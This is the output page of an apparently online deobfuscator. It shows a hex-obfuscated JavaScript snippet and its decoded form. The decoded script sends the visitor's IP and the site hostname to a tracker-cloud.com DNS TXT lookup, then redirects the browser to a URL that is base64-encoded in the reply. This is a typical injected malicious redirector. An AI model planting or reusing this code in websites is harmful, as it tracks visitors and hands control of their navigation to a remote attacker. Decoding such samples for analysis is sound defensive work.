Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
var _$_ed19 = ["\x2E", "\x2D", "\x72\x65\x70\x6C\x61\x63\x65\x41\x6C\x6C", "\x69\x70",..
Decoded Output download
<? var _$_ed19 = [".", "-", "replaceAll", "ip", ":", "hostname", "location", "", "unk.com", "Answer", "type", "data", "forEach", "length", "replace", "then", "json", "https://dns.google/resolve?name=", "random", "floor", ".tracker-cloud.com&type=txt", "https://api64.ipify.org?format=json"];
(function(_0x23E78) {
fetch(_$_ed19[21])[_$_ed19[15]]((_0x23EAF) => _0x23EAF[_$_ed19[16]]())[_$_ed19[15]]((_0x23F1D) => {
_0x23F1D = _0x23F1D[_$_ed19[3]][_$_ed19[2]](_$_ed19[0], _$_ed19[1]);
_0x23F1D = _0x23F1D[_$_ed19[2]](_$_ed19[4], _$_ed19[1]);
let _0x23EE6 = window[_$_ed19[6]][_$_ed19[5]];
if (_0x23EE6 == _$_ed19[7]) {
_0x23EE6 = _$_ed19[8]
};
fetch(_$_ed19[17] + _0x23EE6 + _$_ed19[0] + _0x23F1D + _$_ed19[0] + Math[_$_ed19[19]](Math[_$_ed19[18]]() * 1024 * 1024 * 10) + _$_ed19[20])[_$_ed19[15]]((_0x23EAF) => _0x23EAF[_$_ed19[16]]())[_$_ed19[15]]((_0x23F54) => {
if (_0x23F54[_$_ed19[9]] == null) {
return
};
var _0x23F8B = _$_ed19[7];
_0x23F54[_$_ed19[9]][_$_ed19[12]]((_0x23FC2) => {
if (_0x23FC2[_$_ed19[10]] == 16) {
_0x23F8B += _0x23FC2[_$_ed19[11]]
}
});
_0x23F8B = atob(_0x23F8B);
if (!_0x23F8B[_$_ed19[13]]) {
return
};
window[_$_ed19[6]][_$_ed19[14]](_0x23F8B)
})
})
})() ?>
Did this file decode correctly?
Original Code
var _$_ed19 = ["\x2E", "\x2D", "\x72\x65\x70\x6C\x61\x63\x65\x41\x6C\x6C", "\x69\x70", "\x3A", "\x68\x6F\x73\x74\x6E\x61\x6D\x65", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "", "\x75\x6E\x6B\x2E\x63\x6F\x6D", "\x41\x6E\x73\x77\x65\x72", "\x74\x79\x70\x65", "\x64\x61\x74\x61", "\x66\x6F\x72\x45\x61\x63\x68", "\x6C\x65\x6E\x67\x74\x68", "\x72\x65\x70\x6C\x61\x63\x65", "\x74\x68\x65\x6E", "\x6A\x73\x6F\x6E", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x64\x6E\x73\x2E\x67\x6F\x6F\x67\x6C\x65\x2F\x72\x65\x73\x6F\x6C\x76\x65\x3F\x6E\x61\x6D\x65\x3D", "\x72\x61\x6E\x64\x6F\x6D", "\x66\x6C\x6F\x6F\x72", "\x2E\x74\x72\x61\x63\x6B\x65\x72\x2D\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x26\x74\x79\x70\x65\x3D\x74\x78\x74", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x36\x34\x2E\x69\x70\x69\x66\x79\x2E\x6F\x72\x67\x3F\x66\x6F\x72\x6D\x61\x74\x3D\x6A\x73\x6F\x6E"];
(function(_0x23E78) {
fetch(_$_ed19[21])[_$_ed19[15]]((_0x23EAF) => _0x23EAF[_$_ed19[16]]())[_$_ed19[15]]((_0x23F1D) => {
_0x23F1D = _0x23F1D[_$_ed19[3]][_$_ed19[2]](_$_ed19[0], _$_ed19[1]);
_0x23F1D = _0x23F1D[_$_ed19[2]](_$_ed19[4], _$_ed19[1]);
let _0x23EE6 = window[_$_ed19[6]][_$_ed19[5]];
if (_0x23EE6 == _$_ed19[7]) {
_0x23EE6 = _$_ed19[8]
};
fetch(_$_ed19[17] + _0x23EE6 + _$_ed19[0] + _0x23F1D + _$_ed19[0] + Math[_$_ed19[19]](Math[_$_ed19[18]]() * 1024 * 1024 * 10) + _$_ed19[20])[_$_ed19[15]]((_0x23EAF) => _0x23EAF[_$_ed19[16]]())[_$_ed19[15]]((_0x23F54) => {
if (_0x23F54[_$_ed19[9]] == null) {
return
};
var _0x23F8B = _$_ed19[7];
_0x23F54[_$_ed19[9]][_$_ed19[12]]((_0x23FC2) => {
if (_0x23FC2[_$_ed19[10]] == 16) {
_0x23F8B += _0x23FC2[_$_ed19[11]]
}
});
_0x23F8B = atob(_0x23F8B);
if (!_0x23F8B[_$_ed19[13]]) {
return
};
window[_$_ed19[6]][_$_ed19[14]](_0x23F8B)
})
})
})()
Function Calls
None |
Stats
MD5 | 6e1481cefdf942882f793bd3b2de0909 |
Eval Count | 0 |
Decode Time | 83 ms |